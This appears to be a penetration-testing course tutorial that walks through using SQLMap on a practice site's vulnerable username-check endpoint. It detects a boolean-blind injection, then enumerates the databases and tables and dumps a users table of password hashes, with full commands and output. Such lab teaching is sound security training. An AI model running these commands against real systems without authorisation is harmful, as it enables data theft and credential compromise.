Blind SQL injection Tools of the Trade

SQLMap

SQLMap is a very popular open-source pen-testing tool that automates the discovery and exploitation of SQL injections for many databases, including `MSSQL`.

Installation

SQLMap is a Python tool that can run on Windows, Linux, or macOS. It comes preinstalled on some distributions of Linux, such as `Kali` or `ParrotOS`.

To install SQLMap, you simply:

1. Download the latest version from the GitHub releases page.
2. Unzip the archive
3. Enter the directory and run `python3 sqlmap.py`

Example: Aunt Maria's Donuts

To demonstrate the power of SQLMap, we will redo the `boolean-blind SQLi` attack on `Aunt Maria's Donuts`. First, we will run SQLMap against the `api/check-username.php` endpoint which we suspect/know is vulnerable to SQL injection.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -batch
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.6.12#dev}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 17:44:16 /2022-12-12/
```

```
[17:44:16] [INFO] testing connection to the target URL
[17:44:16] [INFO] testing if the target URL content is stable

<SNIP>

---
Parameter: u (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: u=maria' AND 8717=8717 AND 'tkQZ'='tkQZ

<SNIP>
```

After a little while, `SQLMap` will print out that it successfully identified a `boolean-based SQLi` vulnerability and give us the `payload` it used. With a confirmed injection point, we can move on to listing all the databases by adding the `--dbs` flag.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -batch --dbs

<SNIP>
[17:55:23] [INFO] fetching database names
[17:55:23] [INFO] fetching number of databases
[17:55:23] [INFO] resumed: 6
[17:55:23] [INFO] resumed: amdonuts
[17:55:23] [INFO] resumed: master
[17:55:23] [INFO] resumed: model
[17:55:23] [INFO] resumed: msdb
[17:55:23] [INFO] resumed: tempdb
[17:55:23] [WARNING] running in a single-thread mode. Please consider usage
of option '--threads' for faster data retrieval
[17:55:23] [INFO] retrieved:
[17:55:23] [WARNING] (case) time-based comparison requires reset of
statistical model, please wait.............................. (done)
[17:55:23] [WARNING] it is very important to not stress the network
connection during usage of time-based payloads to prevent potential
disruptions

[17:55:23] [WARNING] in case of continuous data retrieval problems you are
advised to try a switch '--no-cast' or switch '--hex'
available databases [5]:
[*] amdonuts
[*] master
[*] model
[*] msdb
```

```
[*] tempdb

[17:55:23] [INFO] fetched data logged to text files under
'C:\Users\bill\AppData\Local\sqlmap\output\localhost'

[*] ending @ 17:55:23 /2022-12-12/
```

In the output above we can see that there are five databases on the server. Out of them all, `amdonuts` is the most interesting one to us. We can select this database and list the tables with the following command.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -batch -D amdonuts --tables

<SNIP>
[17:57:26] [INFO] fetching tables for database: amdonuts
[17:57:26] [INFO] fetching number of tables for database 'amdonuts'
[17:57:26] [INFO] resumed: 1
[17:57:26] [INFO] resumed: dbo.users
Database: amdonuts
[1 table]
+-------+
| users |
+-------+

[17:57:26] [INFO] fetched data logged to text files under
'C:\Users\bill\AppData\Local\sqlmap\output\localhost'

[*] ending @ 17:57:26 /2022-12-12/
```

In this case, `users` is the only table in the database. We can dump it with the following command. Note that we excluded the `-batch` flag this time. This is because SQLMap will try to crack hashes by default, which I'm not interested in doing.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -D amdonuts -T users --dump

<SNIP>
[17:59:58] [INFO] fetching columns for table 'users' in database 'amdonuts'
[17:59:59] [INFO] resumed: 2
[17:59:59] [INFO] resumed: password
[17:59:59] [INFO] resumed: username
[17:59:59] [INFO] fetching entries for table 'users' in database 'amdonuts'
[17:59:59] [INFO] fetching number of entries for table 'users' in database
```

```
'amdonuts'
[17:59:59] [INFO] resumed: 3
[17:59:59] [WARNING] in case of table dumping problems (e.g. column entry
order) you are advised to rerun with '--force-pivoting'
[17:59:59] [INFO] resumed: <SNIP>
[17:59:59] [INFO] resumed: maria
[17:59:59] [INFO] resumed: <SNIP>
[17:59:59] [INFO] resumed: admin
[17:59:59] [INFO] resumed: <SNIP><SNIP>
[17:59:59] [INFO] resumed: bmdyy
[17:59:59] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further
processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: amdonuts
Table: users
[3 entries]
+----------------------------------+----------+
| password                         | username |
+----------------------------------+----------+
| ...SNIP...                       | maria    |
| ...SNIP...                       | admin    |
| ...SNIP...                       | bmdyy    |
+----------------------------------+----------+

[18:00:02] [INFO] table 'amdonuts.dbo.users' dumped to CSV file
'C:\Users\bill\AppData\Local\sqlmap\output\localhost\dump\amdonuts\users.csv
'
[18:00:02] [INFO] fetched data logged to text files under
'C:\Users\bill\AppData\Local\sqlmap\output\localhost'

[*] ending @ 18:00:02 /2022-12-12/
```

Note: For more on SQLMap's blind injection options, you may refer to the SQLMap Essentials module.